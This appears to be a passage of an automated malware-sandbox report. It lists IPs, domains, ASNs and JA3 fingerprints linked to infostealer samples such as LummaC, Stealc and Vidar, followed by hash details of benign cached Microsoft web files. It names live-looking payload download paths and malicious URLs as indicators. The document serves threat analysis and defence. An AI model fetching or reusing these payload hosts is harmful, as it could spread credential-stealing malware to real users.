	Attachment-914011545-004.pdf	Get hash	malicious	Unknown	Browse
185.215.113.16	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/luma/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cook-rain.sbs	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
s-part-0017.t-0009.t-msedge.net	eternal.exe	Get hash	malicious	XWorm	Browse	13.107.246.45
	LauncherPred8.3.37Stablesetup.msi	Get hash	malicious	Remcos	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	jM0HEXs5mI.exe__.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
s-part-0039.t-0009.t-msedge.net	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	https://www.tryinteract.com/share/quiz/673350c22861f600153c2f9c	Get hash	malicious	Unknown	Browse	13.107.246.67
	Sampension-file-846845087.pdf	Get hash	malicious	Captcha Phish	Browse	13.107.246.67
s-part-0032.t-0009.t-msedge.net	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.60
	purchase order (1).xls	Get hash	malicious	Unknown	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	doc_Agilitas_9769667025.html	Get hash	malicious	Phisher	Browse	13.107.246.60
	https://tractopieces35-my.sharepoint.com/:o:/g/personal/lecomte22_tracto-pieces_fr/EqM9FMd6batFtzMgdv1f2XUBmLAJecWys730N_AOVrXnXA?e=3TLKO8	Get hash	malicious	Unknown	Browse	13.107.246.60

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	hmips.elf	Get hash	malicious	Mirai	Browse	52.240.43.138
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.42.73.31
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	hmips.elf	Get hash	malicious	Mirai	Browse	52.240.43.138
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.42.73.31
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	http://51279576bd.nxcli.io	Get hash	malicious	Unknown	Browse	4.175.87.197 52.149.20.212 184.28.90.27 13.107.246.45
	https://tipicopisco.com/go/bebek.txt	Get hash	malicious	Unknown	Browse	4.175.87.197 52.149.20.212 184.28.90.27 13.107.246.45
	LauncherPred8.3.37Stablesetup.msi	Get hash	malicious	Remcos	Browse	4.175.87.197 52.149.20.212 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	4.175.87.197 52.149.20.212 184.28.90.27 13.107.246.45
	https://jerseysurffilmfestival.com/wakena.zip	Get hash	malicious	Unknown	Browse	4.175.87.197 52.149.20.212 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	4.175.87.197 52.149.20.212 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	4.175.87.197 52.149.20.212 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	4.175.87.197 52.149.20.212 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	4.175.87.197 52.149.20.212 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	4.175.87.197 52.149.20.212 184.28.90.27 13.107.246.45
3b5074b1b5d032e5620f69f9f700ff0e	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	40.113.103.199
	0a0#U00a0.js	Get hash	malicious	RHADAMANTHYS	Browse	40.113.103.199
	file.exe	Get hash	malicious	LummaC	Browse	40.113.103.199
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	40.113.103.199
	file.exe	Get hash	malicious	LummaC	Browse	40.113.103.199
	1Eo0gOdDsV.exe	Get hash	malicious	Quasar	Browse	40.113.103.199
	file.exe	Get hash	malicious	LummaC	Browse	40.113.103.199
	4c9ebxnhQk.exe	Get hash	malicious	Unknown	Browse	40.113.103.199
	o4QEzeCniw.exe	Get hash	malicious	Unknown	Browse	40.113.103.199
	XzCRLowRXn.exe	Get hash	malicious	Unknown	Browse	40.113.103.199
a0e9f5d64349fb13191bc781f81f42e1	Solara.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	https://jerseysurffilmfestival.com/wakena.zip	Get hash	malicious	Unknown	Browse	188.114.97.3
	Setup.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.794639101874543
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzVqrpCvJ4QG63JjJ+do88HxbqP:dgQ+KfZcbhaWjp45qtAdflfDOFnNgBy4
MD5:	84E6C95F0E5378BDA94FA965C4692FAF
SHA1:	7C1D6572906509B08F8CD7B7A33EB9F9697EE6D1
SHA-256:	88A4A7B4F1160F8CAD3EB835116C29AC39659D586D4DADC54D9E40AC7E1BC610
SHA-512:	D34BFF37F8402B4A1FEE3C26F247A86D72666647A10E83D711A1BED1D24C6FC13674D65DCC037C22811B227FEC34B5DE20442191A42F9D78FC79D55FD5792761
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Reputation:	high, very likely benign file
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1301x300, components 3
Category:	downloaded
Size (bytes):	33370
Entropy (8bit):	7.973675198531228
Encrypted:	false
SSDEEP:	768:ykeIpO37gQNPfG0sxFrlSvg0EliJBectySxPMmPOGTeou78:ykX0DP+TFgg3iJNyyfPO9N78
MD5:	6E78EE324E008296108BFCDECD77E318
SHA1:	F7C39EE02C65BCEB2C66AD2D7F45523FEB5AD156
SHA-256:	EB7A4FF0F8ED4C8A95B2183968B5A59F4058B177F580AE2D2BEF4595B6F6E092
SHA-512:	BCFFF936BCC46AB4120690CFF3AF93491080E13084EA2BCD8BCE1A2470EA86EB007D695AEF23B73E0B84CB3C7FBF351D025BE47EC5D232AB613A420074F8A448
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-ignite-2024.jpg
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......,....!..........6.....................................................................S..d+!XYd..Hb..1..IR.BA0.+!....$C...@I..bU.BH%.1K..A...%...1h.3.,..+0F!Z@....`..%!.o...._]..=......J./Uz.k..._m..}..,s.lV.ED...J...,..b.........Y....u...N..g......A.$"3!h.~`>.....d+.,.a).Rb.I...D,."...IXJ..$.A$BU...bA,.`Z.b..,c...KFf.0.B;.f..U.C ..V.X,e.,1t}.....k.:R..b.l....mt.....#..W...iY..d..#.HU$..1...GW%..d]..-.x.:.......&...o.......(h.+.)h..x.?.B....,.D$.0.R.Y.%.."B#E$.$..!..K)0.....X.X.,.1..3BHbAxX.....R.]...1..(..`..VX.2..L.s.......L....]xVU^..Q.v>.I......7I.fJ....+vJ.T0V..z.]....}.J..A...,.~?...+....]...y.\|. .H..fFh..l.?.....Yd.IHJ.V...K..F....IS.H...%..K....X.....,C...f..F..$...+..8WdV!]..,.U..p!.A..\|Vw.x_I.,$!!...i...2..7.l_...'....}.q..{..z.F........vm/.V.........9..F..dh..;..$..BT.G0O.G.......B.$RJ.Z,,.0%..

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/docons.a1ef6ef.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	downloaded
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
